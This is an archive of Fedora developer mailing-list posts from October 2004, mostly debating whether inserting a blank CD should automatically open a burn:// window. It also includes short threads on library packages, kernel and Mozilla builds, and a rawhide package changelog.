Date: Fri, 8 Oct 2004 16:17:16 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097257845.8995.18.camel@davidz> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> <1097248052.27221.3.camel@remedyz.boston.redhat.com> <1097257845.8995.18.camel@davidz> Message-ID: <604aa79104100813171473e47d@mail.gmail.com> On Fri, 08 Oct 2004 13:50:45 -0400, David Zeuthen wrote: > Corner case: consider plugging in a USB2 harddisk enclosure with three > partitions on - do we really want three new Nautilus windows popping up > by default? Personally, I'm not convinced we want that. What about storage devices with exactly one partition? What about data cds? Is there room for the multiple partition case for a choice dialog? What do you think of the photo importing dialog we have now as an example of a choice dialog? When i plugin a compact flash card in my reader that has a dcim directory the photo importer script notices and asks if i want to open the photo importer or if I want to browse the card's filesystem. Is this dialog approach acceptable for the multiple partitioned drive case? -jef From david at fubar.dk Fri Oct 8 21:05:23 2004 From: david at fubar.dk (David Zeuthen) Date: Fri, 08 Oct 2004 17:05:23 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <604aa79104100813171473e47d@mail.gmail.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> <1097248052.27221.3.camel@remedyz.boston.redhat.com> <1097257845.8995.18.camel@davidz> <604aa79104100813171473e47d@mail.gmail.com> Message-ID: <1097269524.3962.11.camel@davidz> On Fri, 2004-10-08 at 16:17 -0400, Jeff Spaleta wrote: > On Fri, 08 Oct 2004 13:50:45 -0400, David Zeuthen wrote: > > Corner case: consider plugging in a USB2 harddisk enclosure with three > > partitions on - do we really want three new Nautilus windows popping up > > by default? Personally, I'm not convinced we want that. > > What about storage devices with exactly one partition? > What about data cds? > Or even Photo CD's, see http://www.disctronics.co.uk/technology/cd- rom/photocd.htm for some background (question: do we have applications to generate Photo CD's?) > Is there room for the multiple partition case for a choice dialog? > What do you think of the photo importing dialog we have now as an > example of a choice dialog? When i plugin a compact flash card in my > reader that has a dcim directory > the photo importer script notices and asks if i want to open the photo > importer or if I want to browse the card's filesystem. Is this dialog > approach acceptable for the multiple partitioned drive case? > I think these are good questions to consider for FC4 (and perhaps even doing it upstream in gnome-volume-manager for GNOME 2.10), but right now it's probably not a too good idea change the defaults too much for FC3 considering that test3 is out soon and after that it's the final. That's my opinion anyway. Cheers, David From mwiktowy at gmx.net Fri Oct 8 21:26:59 2004 From: mwiktowy at gmx.net (Michael Wiktowy) Date: Fri, 08 Oct 2004 17:26:59 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <20041008090111.29470741EB@hormel.redhat.com> References: <20041008090111.29470741EB@hormel.redhat.com> Message-ID: <41670623.8050903@gmx.net> >Date: Thu, 07 Oct 2004 22:17:09 -0400 >From: "John (J5) Palmieri" >Subject: Re: gnome-volume-manager blank CD defaults >To: Development discussions related to Fedora Core > >Message-ID: <1097201799.22130.74.camel at localhost.localdomain> >Content-Type: text/plain > >On Thu, 2004-10-07 at 18:15, Michael Wiktowy wrote: > > >>>> > Date: Thu, 07 Oct 2004 12:02:57 -0400 >>>> > From: "John (J5) Palmieri" >>>> > Subject: gnome-volume-manager blank CD defaults >>>> > To: Development discussions related to Fedora Core >>>> > >>>> > Message-ID: <1097164977.22577.6.camel at remedyz.boston.redhat.com> >>>> > Content-Type: text/plain >>>> > >>>> > I wanted to get the Fedora communities opinion on popping up a burn:// >>>> > folder when a blank CD is inserted into the drive. Right now we pop it >>>> > up which makes sense because if you pop in a blank CD most likely you >>>> > want to burn to it. Problems come in when a user is using browser mode >>>> > in Nautilus. If you pop the CD in and out a couple of times you get a >>>> > bunch of burn:// folders. Since you get a CD icon on the desktop which >>>> > you can double click to open up the burn:// folder I am wondering if I >>>> > should turn this off by default. I am of no opinion either way so I >>>> > want to see how everyone else feels. >>>> > >>>> > -- >>>> > John (J5) Palmieri >>>> > Associate Software Engineer >>>> > Desktop Group >>>> > Red Hat, Inc. >>>> > Blog: http://martianrock.com >>> >>> >>> >>> My Opinion since you asked for it: >>> One of my major annoyances is things that pop up obtrusively. >> >> > Ok well this should be fixed once we have some sort of notification > system that is informative yet non-intrusive so I am not so worried > about this since you can turn it off. Defaults aren't whats least > annoying to experienced users, they are about what is most convenient > for new users. Also, it is what is most convenient to unprivilaged or unknowledgeable users. There will be some situations where a user cannot switch settings due to the administrator imposing the default on them or just a tendancy of a non-computer savvy user to not dig around to figure out how to change things to their liking. They will just have to put up with whatever is given. Just giving a few deployment scenarios that may be target audiences for reasonable defaults. >>> I think >>> that a default option should be as intuitive and non-intrusive as >>> possible while still guiding the user to the proper solution. >> >> > That is the goal but I would take intuitive before non-intrusive. They are not mutually exclusive and I would want to maximize both. Having a default application popup is not the most intuitive since burn:// is not the most approriate application for all burning options (for instance burning .iso, transcoding compressed digital audio and burning to audio CDs, CD duplication, etc. ... unless you have greatly improved burn:// since I last used it ... I couldn't figure out how to intuitively use it for any of those options that I do more often than just burning simple data CDs). It is great for data CDs but I have been forced to use something else for all those other usage modes. >>> With that in mind, I would say that the icon appearing on the desktop >>> with some descriptive title that it is a blank CD and what drive it is >>> in (realizing that some have multiple burners on their systems) would be >>> adequate. >> >> > The problem with this is the desktop is often obscured and a new user > would have to find where the icon popped up so it is not extremely > intuitive. Once a user understands about dynamic icons then it becomes > more intuitive. I agree. This is where something in the notification area would be useful. Alternatively, I quite like the idea of a first time only popup to allow default action that others have suggested. >>> Right clicking should give you the option to burn it with your choice of >>> installed burners. >> >> > This I don't understand. Sorry ... I wasn't clear there at all. That should have been "Right-clicking on the Blank CD desktop icon should give you a choice of which installed burning applications to use. Much like right-clicking on a movie/audio media file gives you the option to choose the player to play it with." Keep the same expected behaviour and the same world-view. Kind of an extension of the "everything is a file" mentality in *nix. >>> Double-clicking on it should activate the default burning software which >>> would be burn://. >> >> > This is already what it does. > >>> I would do this for audio CD also. >> >> > There is no question about audio CD defaults. For those the right > thing is to start an CD player. It is the same thing that happens when > you pop a CD into your stereo. Well ... it was just my opinion based on my mode of operation. There are fewer things that you might want to do with an audio CD when you pop it in so I suppose my justification for not popping up applications automagically is weaker. However, if I want to play an audio CD, I normally pop it into my stereo. If I want to rip/burn/mix then I put it into my computer. I just prefer the right tool for the right job, I suppose. I would guess that new users would likely still choose a stereo too. But this is appearently not up for debate so I will drop the issue. >>> i.e. Treat removable media as kind of a pseudo mime-type in nautilus. >> >> > Removable media works fine in Nautilus. They pop up as icons and you > can launch them. By default they also pop up windows which makes > sense. The reason I special case CD burning is because of some of the > problems associated with it, though I have yet to hear any compelling > argument for removing it. As I said when I started this thread I > really don't care either way but there have been compelling points for > leaving it in so I am leaning that way right now. If you want to > convince me you need to come from the point of a new user who just > wants things to work out of the box. Any experienced user can > configure the desktop to how they like it. I want to make sure it is > usable to those who just want to use the desktop. >>> If people want to automagically start up things then they can have that >>> option in the preferences. >> >> > And if people don't want to automagically start things up now, then > they already have that option in the preferences. > >>> But this is a semi-automatic solution that >>> will avoid all the familiar and annoying problems like: >> >> > There is no semi-automatic solution. Its either on or off. The rest of > the desktop will function the same way. semi-automatic to me = just destop icon/notification, no popup app. I was thinking in the whole process sense rather then just that last step. The last step is a binary decision. There isn't really a strong case for either way. The way things are set up now it is not a big hassle to switch to either modes but to summarize my reasons for the non-pop app: 1) burn:// is not the right/best tool for everything you might want to do with a blank CD. Users are not always in control of their settings. The default should present the best option for everything they would want to do and not send them into blind alleys. 2) you are not always starting the burning process off by inserting a CD 3) All burning apps *currently* included in FC3T are not coded to block one another ... maybe when they are a default popup app will not screw up workflow and would make more sense. >>> - Burning with an app that asks you to enter a blank CD and then having >>> another app start up in the middle of the burn. You don't *always* start >>> a burn by sticking in a blank CD. >> >> > This is a problem with a solution. Many solutions, no doubt. >>> - Opening up the default burning software while you already have another >>> one open in preparation for burning. While all software *should* be >>> written to block access via hal, forcing that feature on all CD burning >>> apps just so the default doesn't screw up is not entirely fair ... >> >> > It is perfectly fair. If we want an integrated desktop with components > that work well together HAL and DBUS will get us there but that is > another story. > >>> especially if they are also included in Fedora (past and present since >>> supposedly upgrading Fedora between major releases is something that is >>> "supported"). >> >> > I don't get the reference to upgrading. The upgrading reference was due to the possibility of burning applications being around from pervious releases that may not be included in the current release. It was more of a hypothetical since I cannot think of a particular example of a burning app that was included previously that has been removed since and besides that would be more in the domain of an experienced user ... not a new one ... therefore not really relevant. > Yes we should add the functionality to all CD burning apps in FC > though I am not sure that will happen this time around. I agree. It would be great if all the burning apps could be made to work within these systems today but realistically they are not. So the fail-safe thing to do would be to pick defaults that won't conflict. It is the difference between a fail-safe approch to design (badly acting apps are worked around) vs. a protesting approach to design (badly acting apps break to force updating of bad apps). A protesting approch tends to prod development at the expense of the user experience. Yes, they are wrong for not keeping with current infrustructure technology. Yes, you are coding things properly. Yes, the users are going to suffer while the developers point fingers at one another unless a more pragmatic approach is taken. IMHO, one should never design something that is known to break under known operational conditions. >>> Just my opinion. >> >> > Thank you. -- J5 From Nicolas.Mailhot at laPoste.net Fri Oct 8 22:18:41 2004 From: Nicolas.Mailhot at laPoste.net (Nicolas Mailhot) Date: Sat, 09 Oct 2004 00:18:41 +0200 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <604aa79104100813171473e47d@mail.gmail.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> <1097248052.27221.3.camel@remedyz.boston.redhat.com> <1097257845.8995.18.camel@davidz> <604aa79104100813171473e47d@mail.gmail.com> Message-ID: <41671241.3030701@laPoste.net> Jeff Spaleta a ?crit : > When i plugin a compact flash card in my > reader that has a dcim directory > the photo importer script notices and asks if i want to open the photo > importer or if I want to browse the card's filesystem. Is this dialog > approach acceptable for the multiple partitioned drive case? Note that this is a copy of the windows approach, which assumes locating the photo importer or the file browser is more annoying than answering the same nonsensical question all year round (and given the extremes to which this can lead on a recent windows system where an event can be claimed by a dozen applications at least, it may very well end the way of the dodo there soon). The Fedora situation is very different - great care was put into cleaning up the menus, choosing natural names etc. While this is very much a work in progress we are very far from the windows mess and the workarounds they had to implement because of it (simplified menu that hides the real one, suggestion popups, etc). Lets try to avoid proudly cloning clippy like the SO5 people did, ok ? Cheers, -- Nicolas Mailhot -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 254 bytes Desc: OpenPGP digital signature URL: From mpeters at mac.com Sat Oct 9 01:28:47 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sat, 09 Oct 2004 01:28:47 +0000 Subject: libdb.so.2 Message-ID: <1097285327l.24818l.0l@devel.mpeters.us> Since that has been removed from gnome-libs, what package is it now part of? From notting at redhat.com Sat Oct 9 02:16:19 2004 From: notting at redhat.com (Bill Nottingham) Date: Fri, 8 Oct 2004 22:16:19 -0400 Subject: libdb.so.2 In-Reply-To: <1097285327l.24818l.0l@devel.mpeters.us> References: <1097285327l.24818l.0l@devel.mpeters.us> Message-ID: <20041009021619.GD22307@nostromo.devel.redhat.com> Michael A. Peters (mpeters at mac.com) said: > Since that has been removed from gnome-libs, what package is it now > part of? compat-db Bill From dwmw2 at infradead.org Sat Oct 9 08:24:00 2004 From: dwmw2 at infradead.org (David Woodhouse) Date: Sat, 09 Oct 2004 09:24:00 +0100 Subject: mozilla 1.7.3? In-Reply-To: <4151E1AE.1080701@redhat.com> References: <4151C055.4010502@arcor.de> <4151E1AE.1080701@redhat.com> Message-ID: <1097310241.14679.20.camel@localhost.localdomain> On Wed, 2004-09-22 at 16:33 -0400, Christopher Aillon wrote: > D. Stolte wrote: > > > mozilla 1.7.3 has been released some weeks ago and fixes some security > > problems. when can we expect to see it packaged? > > For whatever reason, it doesn't build on PPC. I'm trying to work out > why, but if I can't figure it out by tonight, I'll just exclude PPC from > the build until it gets sorted out. I built FC2 updates last night and > those should be pushed soon. Looks like the PPC toolchain bug which caused this is fixed (well, worked around I think). Please can we turn PPC builds back on? Likewise for epiphany and devhelp, when the Mozilla build is done. Then I'd like to try running a current 32-bit Mozilla on a 64-bit kernel. It seems to be behaving very strangely -- menu options don't actually _do_ anything, it doesn't try loading a page after you enter a URL. Just sits there... -- dwmw2 From pmatilai at welho.com Sat Oct 9 08:51:57 2004 From: pmatilai at welho.com (Panu Matilainen) Date: Sat, 09 Oct 2004 11:51:57 +0300 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097250234.3704.19.camel@rhbw.boston.redhat.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> <1097250234.3704.19.camel@rhbw.boston.redhat.com> Message-ID: <1097311916.13577.47.camel@chip.laiskiainen.org> On Fri, 2004-10-08 at 18:43, Bryan Clark wrote: > On Fri, 2004-10-08 at 09:23 +0200, Alexander Larsson wrote: > > I think we should not open it. Not even in spatial mode. I'm off the > > opinion that most "automatically open window that can disturb the users > > workflow" behaviour is wrong, as it often interfers with peoples use of > > the system. > > > > What i'm saying is: putting an icon on the desktop or in the computer > > location when you insert some media is fine, this actually helps the > > user to easier access the media, and the visible change makes it obvious > > the computer actually recognized that you did something. Poping up a > > window over the current application can break the users current action, > > plus it doesn't educate him on the interaction model we're trying to > > plant in the users mind (that the cd icon on the desktop represents the > > media). > > > > Currently we don't pop up a filemanager window when you insert any other > > kind of media, why should blank cds be different? > > A filemanager no, but when you insert a Camera we ask if you want to > import the photos (this isn't the best thing to do, but close). The > problem with only putting an icon on the desktop is that you're assuming > that when I insert new media I've cleaned my screen of applications and > can clearly see the desktop. This isn't really an assumption we can > make. At the same time, a cluttered desktop could make it harder for > people to see new items appear on it, we can't assume people have clean > desktops and a new icon will be immediately visible. Indeed, desktop cannot be assumed to be empty at the very spot where the new icon happens to appear. > > Popping up the filemanager, especially since burn:// is just a blank > window isn't the best thing to do either. What we should work on is > improving our CD burning interface so it's not so bare. For blank CD's popping up a cd-burner is reasonably sane thing to do, assuming the cd-burner can actually handle the situation. I once had, um, a session, with RHL 9 nautilus where nautilus didn't know how to blank CD-RW's: Insert CD-RW, full of some old stuff in it. A burn:// interface pops up, I drag stuff into it, let it burn. Didn't remember the CD-RW was full, nautilus didn't realize it either (didn't try to mount it either IIRC) but that didn't stop nautilus from trying to put stuff into it. Big surprise the burn eventually failed and left the CD device locked (or just otherwise totally confused state) despite killing nautilus so I couldn't blank it with any other means either. Reboot was needed to clear the situation, then turn off all the do-stuff-on-media-insert things from nautilus settings. Finally I was able to first blank the CD and put other stuff in it. The above problem doesn't exist anymore as such, but the moral of the story: if we offer something automatically we'd better be DAMN sure we can cover all the sane things user might want to do in the situation without having the user jump through hoops to work around the "smartness" of the gui. > > If we don't popup something at all people are like to assume we didn't > realize that you inserted new media. The persons work flow behavior on > the desktop has already been interrupted by inserting a media device, > giving them the option to begin using the media is probably the best > next step. Visual clue about "yes the computer realized something was stuck into it" is good, popup windows are awful. > Ultimately I think using some kind of bubble up notification [1] might > be the best thing in the short term. What I'd really like to work on is > to determine a way to figure out the work flow. What I mean is, if you > have Rhythmbox open and you insert a blank CD, we currently assume that > you're going to want burn:// because that's our default CD burning > system. However, if Rhythmbox has CD burning facilities and you have > the application open it'd be better to assume (or at least ask) that > you're going to make an audio CD and not a data CD. Yea, there's lots > of edge cases either way, but I think this work flow idea is the best > method to work towards. > > Cheers, > ~ Bryan > > [1] One of those things from the systray area that doesn't steal focus > and allows you to open up a CD burning app. Oh yes. Please. An icon in systray is a clear, visible clue which doesn't get in your way. Clicking on the icon can launch the default application for the thing (CD-burner wizard asking the necessary questions about audio/data-cd, digicamera app, file browser, whatever). That should be both extremely easy for new users and unobstructive as well. - Panu - From s.ellis at fastmail.co.uk Sat Oct 9 10:09:22 2004 From: s.ellis at fastmail.co.uk (Stuart Ellis) Date: Sat, 09 Oct 2004 11:09:22 +0100 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097250234.3704.19.camel@rhbw.boston.redhat.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> <1097250234.3704.19.camel@rhbw.boston.redhat.com> Message-ID: <1097316562.21649.206104616@webmail.messagingengine.com> On Fri, 08 Oct 2004 11:43:54 -0400, "Bryan Clark" said: > Popping up the filemanager, especially since burn:// is just a blank > window isn't the best thing to do either. What we should work on is > improving our CD burning interface so it's not so bare. This may be complete crack, but just in case... It occurred to me that the burn:// window is a completely blank area that the user will automatically look at when it appears. If you put an icon and/or a line of text as the window background then the user can be cued as to what to do next without introducing anything else to the interface. "Drop files here to write them to CD" in soft grey, for example. -- Stuart Ellis s.ellis at fastmail.co.uk From manolo at miconexion.com Sat Oct 9 10:37:55 2004 From: manolo at miconexion.com (Manuel Moreno) Date: Sat, 09 Oct 2004 11:37:55 +0100 Subject: kernel-2.6.8-1.603 problem with reboot Message-ID: <1097318275.4312.5.camel@mgmk7.mgmux.com> Without this patch reboot() panics on find_isa_irq_pin (x86_84) It is maybe needed on 'i386' too? Rgds. -- Manuel Moreno -------------- next part -------------- A non-text attachment was scrubbed... Name: linux-2.6.9-find__isa_irq_pin_no_init.patch Type: text/x-patch Size: 728 bytes Desc: not available URL: From feliciano.matias at free.fr Sat Oct 9 10:54:48 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 09 Oct 2004 12:54:48 +0200 Subject: kmodule does not look into /lib/modules/`uname -r`/extra Message-ID: <1097319288.3275.5.camel@localhost.localdomain> I have a proprietary drivers that install modules into /lib/modules/`unmae -r`/extra . For me it's the right place. But kmodule don't look into extra directory. Which one is wrong ? The code (kmodule.c from initscripts) : int isAvailable(char *modulename) { struct utsname utsbuf; char path[512]; uname(&utsbuf); snprintf(mod_name,100,"%s.ko",modulename); snprintf(cmod_name,100,"%s.ko.gz",modulename); snprintf(path,512,"/lib/modules/%s/kernel",utsbuf.release); /* Do not set the third argument of this function to < 6. Blarg. */ if (ftw(path,isModule,15) == 1) { return 1; } return 0; } -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From feliciano.matias at free.fr Sat Oct 9 11:01:14 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 09 Oct 2004 13:01:14 +0200 Subject: DSL pppoatm (Re: rawhide report: 20041005 changes) In-Reply-To: <1097159534.318.40.camel@hades.cambridge.redhat.com> References: <200410051251.i95CpWa11675@porkchop.devel.redhat.com> <1096985406.26308.13.camel@localhost.localdomain> <1097148455.318.4.camel@hades.cambridge.redhat.com> <41653E44.9010701@redhat.com> <1097159534.318.40.camel@hades.cambridge.redhat.com> Message-ID: <1097319674.3275.11.camel@localhost.localdomain> Le jeudi 07 octobre 2004 ? 15:32 +0100, David Woodhouse a ?crit : > On Thu, 2004-10-07 at 15:01 +0200, Harald Hoyer wrote: > > > I now have the driver automatically loading the firmware and > > > initialising the hardware, and the initscripts handling all the PPP > > > stuff.... all we need is for the pretty GUI network tools to catch up. > > > > > more documentation please.... well, besides of string freeze.. > > Documentation of what to do in system-config-network... see bug #131556. > That one really would break the string freeze though. > > To get a SpeedTouch working... > Try with Bewan ADSL driver. Works perfectly. Many thanks. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From i_p_a_u_l at yahoo.com Sat Oct 9 11:15:39 2004 From: i_p_a_u_l at yahoo.com (Paul Ionescu) Date: Sat, 09 Oct 2004 14:15:39 +0300 Subject: Openoffice 1.1.3 ? Message-ID: Hi, Will openoffice v1.1.3 be part of FC3 ? From buildsys at redhat.com Sat Oct 9 11:54:21 2004 From: buildsys at redhat.com (Build System) Date: Sat, 9 Oct 2004 07:54:21 -0400 Subject: rawhide report: 20041009 changes Message-ID: <200410091154.i99BsLB19075@porkchop.devel.redhat.com> Updated Packages: bc-1.06-17.1 ------------ * Fri Oct 08 2004 Thomas Woerner 1.06-17.1 - added BuildRequires for readline-devel (#134699) curl-7.12.1-1 ------------- * Wed Oct 06 2004 Adrian Havill 7.12.1-1 - upgrade to 7.12.1 - enable GSSAPI auth (#129353) - enable I18N domain names (#134595) - workaround for broken ProFTPD SSL auth (#134133). Thanks to Aleksandar Milivojevic epiphany-1.4.3-0 ---------------- * Thu Oct 07 2004 Marco Pesenti Gritti - 1.4.3-0 - Remove mozilla 1.7.3 compatibility patch - Do not disable the nautilus view, it has been removed upstream ethereal-0.10.6-3 ----------------- * Fri Oct 08 2004 Radek Vokal 0.10.6-3 - spec file changed, dependencies fixed (#134942) firefox-0.10.1-1.0PR1.9 ----------------------- * Fri Oct 08 2004 Christopher Aillon 0:0.10.1-1.0PR1.9 - Fix compile issues (#134914) - Add patch to fix button focus issues (#133507) - Add patches to fix tab focus stealing issue (b.m.o #124750) flim-1.14.7-1 ------------- * Sat Oct 09 2004 Jens Petersen - 1.14.7-1 - update to 1.14.7 release - flim-1.14.6-mel-u-tempfile.patch no longer needed gnome-bluetooth-0.5.1-5 ----------------------- * Fri Oct 08 2004 Harald Hoyer - 0.5.1-5 - buildrequire pygtk2-devel (bug 135032) - fixed gnome-bluetooth-manager script for 64bit (bug 134864) - fixed segfault on file receive (bug 133041) gnome-session-2.8.0-4 --------------------- * Fri Oct 08 2004 Ray Strode 2.8.0-4 - Add g-v-m to default session since it wasn't already (?). - Remove g-v-m from default session on s390 gnome-vfs2-2.8.1-8 ------------------ * Fri Oct 08 2004 Alexander Larsson - 2.8.1-8 - Backport some new fixes from cvs. gphoto2-2.1.4-7 --------------- * Fri Oct 08 2004 Tim Waugh 2.1.4-7 - devel sub-package requires libexif-devel (bug #135058). grip-3.2.0-3 ------------ * Fri Oct 08 2004 Bill Nottingham 3.2.0-3 - add a passel of buildreqs (#135045) initscripts-7.90-1 ------------------ * Fri Oct 08 2004 Karsten Hopp 7.90-1 - fix portname for LCS devices jisksp14-0.1-16 --------------- * Sat Oct 09 2004 Akira TAGOH - 0.1-16 - added BuildRequires xorg-x11-font-utils. (#135064) kdebindings-3.3.0-3 ------------------- * Fri Oct 08 2004 Than Ngo 3.3.0-3 - add buildrequires on ruby and ruby-devel #135053 kdegames-3.3.0-2 ---------------- * Fri Oct 08 2004 Than Ngo 6:3.3.0-2 - fix buildrequire on automake - disable ksokoban kdegraphics-3.3.0-3 ------------------- * Fri Oct 08 2004 Than Ngo 7:3.3.0-3 - fix typo in buildrequires #135007 kudzu-1.1.93-1 -------------- * Fri Oct 08 2004 Bill Nottingham - 1.1.93-1 - fix crash when there's no modprobe.conf/modules.conf libbtctl-0.4.1-3 ---------------- * Fri Oct 08 2004 Harald Hoyer 0.4.1-3 - buildrequires pygtk2-devel mikmod-3.1.6-30 --------------- * Fri Oct 08 2004 Bill Nottingham 3.1.6-30 - add texinfo buildreqs (#135088) nautilus-2.8.0-3 ---------------- * Fri Oct 08 2004 Alexander Larsson - 2.8.0-3 - Backport more fixes from cvs * Mon Oct 04 2004 Alexander Larsson - 2.8.0-2 - Backport various bugfixes from HEAD * Mon Sep 13 2004 Alexander Larsson - 2.8.0-1 - Update to 2.8.0 nautilus-cd-burner-2.8.3-4 -------------------------- * Fri Oct 08 2004 Alexander Larsson - 2.8.3-4 - Add patch to unmount if needed (#107544) ntp-4.2.0.a.20040617-3 ---------------------- * Fri Oct 08 2004 Harald Hoyer - 4.2.0.a.20040617-3 - improved postsection - BuildRequires readline-devel - PreReq grep quagga-0.97.0-1 --------------- * Fri Oct 08 2004 Jay Fenlason 0.97.0-1 - New upstream version. This obsoletes the -lib64 patch. * Wed Oct 06 2004 Jay Fenlason - Change the permissions of /var/run/quagga to 771 and /var/log/quagga to 770 This closes #134793 rpm-4.3.2-11 ------------ * Fri Oct 08 2004 Jeff Johnson 4.3.2-11 - honor inherited SIG_IGN when establishing rpmdb signal exit (#134474). rpmdb-fedora-2.92-0.20041009 ---------------------------- sed-4.1.2-4 ----------- * Fri Oct 08 2004 Jakub Jelinek 4.1.2-4 - fix up make check to run sed --version with LC_ALL=C in the environment (#129014) selinux-policy-strict-1.17.29-4 ------------------------------- * Fri Oct 08 2004 Dan Walsh 1.17.29-4 - Change allow_ypbind to be a boolean. selinux-policy-targeted-1.17.29-4 --------------------------------- * Thu Oct 07 2004 Dan Walsh 1.17.29-4 - Make allow_ypbind into a boolean setup-2.5.36-1 -------------- * Fri Oct 08 2004 Bill Nottingham 2.5.36-1 - fix duplicate alias * Tue Sep 28 2004 Bill Nottingham 2.5.35-1 - add /etc/environment * Mon Sep 27 2004 Rik van Riel 2.5.34-2 - mark /etc/services config(noreplace) (#133683) system-config-keyboard-1.2.5-1 ------------------------------ * Fri Oct 08 2004 Paul Nasrat - 1.2.5-1 - Firstboot fix for xorg.conf system-config-samba-1.2.19-1 ---------------------------- * Sat Oct 09 2004 Nils Philippsen - 1.2.19-1 - fix dialog when share name is missing (#135119) system-config-securitylevel-1.4.8-1 ----------------------------------- * Fri Oct 08 2004 Paul Nasrat 1.4.8-1 - Firstboot bug fix system-config-services-0.8.11-1 ------------------------------- * Fri Oct 08 2004 Nils Philippsen 0.8.11-1 - fix gtk.main*() related DeprecationWarnings (#134978) system-config-users-1.2.23-1 ---------------------------- * Fri Oct 08 2004 Nils Philippsen - 1.2.23-1 - try to fix 32bit uids/gids (#134803) - fix gtk.main*() related DeprecationWarnings - byte-compile python files in "make install" - updated translations thunderbird-0.8.0-4 ------------------- * Fri Oct 08 2004 Christopher Aillon 0.8.0-4 - Add patch to fix button focus issues (#133507) - Add patch for fix IMAP race issues (bmo #246439) udev-034-2 ---------- * Fri Oct 08 2004 Harald Hoyer - 034-2 - check for /proc/sys/dev/cdrom/info existence in check-cdrom.sh * Fri Oct 08 2004 Harald Hoyer - 034-1 - new version udev-034 - removed patches, which went upstream - pam_console.dev link renamed to 05-pam_console.dev - MAKEDEV.dev links renamed to 10-MAKEDEV.dev vim-6.3.030-1 ------------- * Fri Oct 08 2004 Karsten Hopp 6.3.030-2 - patchlevel 30 From johnp at redhat.com Sat Oct 9 12:27:46 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Sat, 09 Oct 2004 08:27:46 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097311916.13577.47.camel@chip.laiskiainen.org> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> <1097250234.3704.19.camel@rhbw.boston.redhat.com> <1097311916.13577.47.camel@chip.laiskiainen.org> Message-ID: <1097324866.22840.3.camel@localhost.localdomain> On Sat, 2004-10-09 at 04:51, Panu Matilainen wrote: > > [1] One of those things from the systray area that doesn't steal focus > > and allows you to open up a CD burning app. > > Oh yes. Please. An icon in systray is a clear, visible clue which > doesn't get in your way. Clicking on the icon can launch the default > application for the thing (CD-burner wizard asking the necessary > questions about audio/data-cd, digicamera app, file browser, whatever). > That should be both extremely easy for new users and unobstructive as > well. > > - Panu - It is a bit too late in the game for something like this. I specifically rejected using the notification area (systray) for this because the interaction model is not quite right and the right thing to do (i.e. Notification Bubbles) will be the way we are going in the future. -- J5 From johnp at redhat.com Sat Oct 9 12:31:48 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Sat, 09 Oct 2004 08:31:48 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097316562.21649.206104616@webmail.messagingengine.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> <1097250234.3704.19.camel@rhbw.boston.redhat.com> <1097316562.21649.206104616@webmail.messagingengine.com> Message-ID: <1097325108.22840.8.camel@localhost.localdomain> On Sat, 2004-10-09 at 06:09, Stuart Ellis wrote: > On Fri, 08 Oct 2004 11:43:54 -0400, "Bryan Clark" > said: > > > Popping up the filemanager, especially since burn:// is just a blank > > window isn't the best thing to do either. What we should work on is > > improving our CD burning interface so it's not so bare. > > This may be complete crack, but just in case... It occurred to me that > the burn:// window is a completely blank area that the user will > automatically look at when it appears. If you put an icon and/or a > line of text as the window background then the user can be cued as to > what to do next without introducing anything else to the interface. > "Drop files here to write them to CD" in soft grey, for example. Hmm, I don't seem to think it is crack. Of course I need to ask Brian and Seth about this since they are the UI experts but adding a default background is easy to do for any folder in Nautilus. This is similar to how mac used to give folder directions. They used to have icons with text and an arrow pointing to a file that would say, "Drag this file to your system folder to install". Thanks for the suggestion. -- J5 From rdieter at math.unl.edu Sat Oct 9 12:55:54 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Sat, 9 Oct 2004 07:55:54 -0500 (CDT) Subject: Openoffice 1.1.3 ? In-Reply-To: References: Message-ID: On Sat, 9 Oct 2004, Paul Ionescu wrote: > Will openoffice v1.1.3 be part of FC3 ? Considering that the ximian ooo-build tools haven't yet been updated to work (completely) with 1.1.3 (yet), I'd guess no. -- Rex From pmatilai at welho.com Sat Oct 9 13:07:55 2004 From: pmatilai at welho.com (Panu Matilainen) Date: Sat, 09 Oct 2004 16:07:55 +0300 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097324866.22840.3.camel@localhost.localdomain> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> <1097220196.3967.153.camel@greebo.homeip.net> <1097250234.3704.19.camel@rhbw.boston.redhat.com> <1097311916.13577.47.camel@chip.laiskiainen.org> <1097324866.22840.3.camel@localhost.localdomain> Message-ID: <1097327275.13577.62.camel@chip.laiskiainen.org> On Sat, 2004-10-09 at 15:27, John (J5) Palmieri wrote: > On Sat, 2004-10-09 at 04:51, Panu Matilainen wrote: > > > > [1] One of those things from the systray area that doesn't steal focus > > > and allows you to open up a CD burning app. > > > > Oh yes. Please. An icon in systray is a clear, visible clue which > 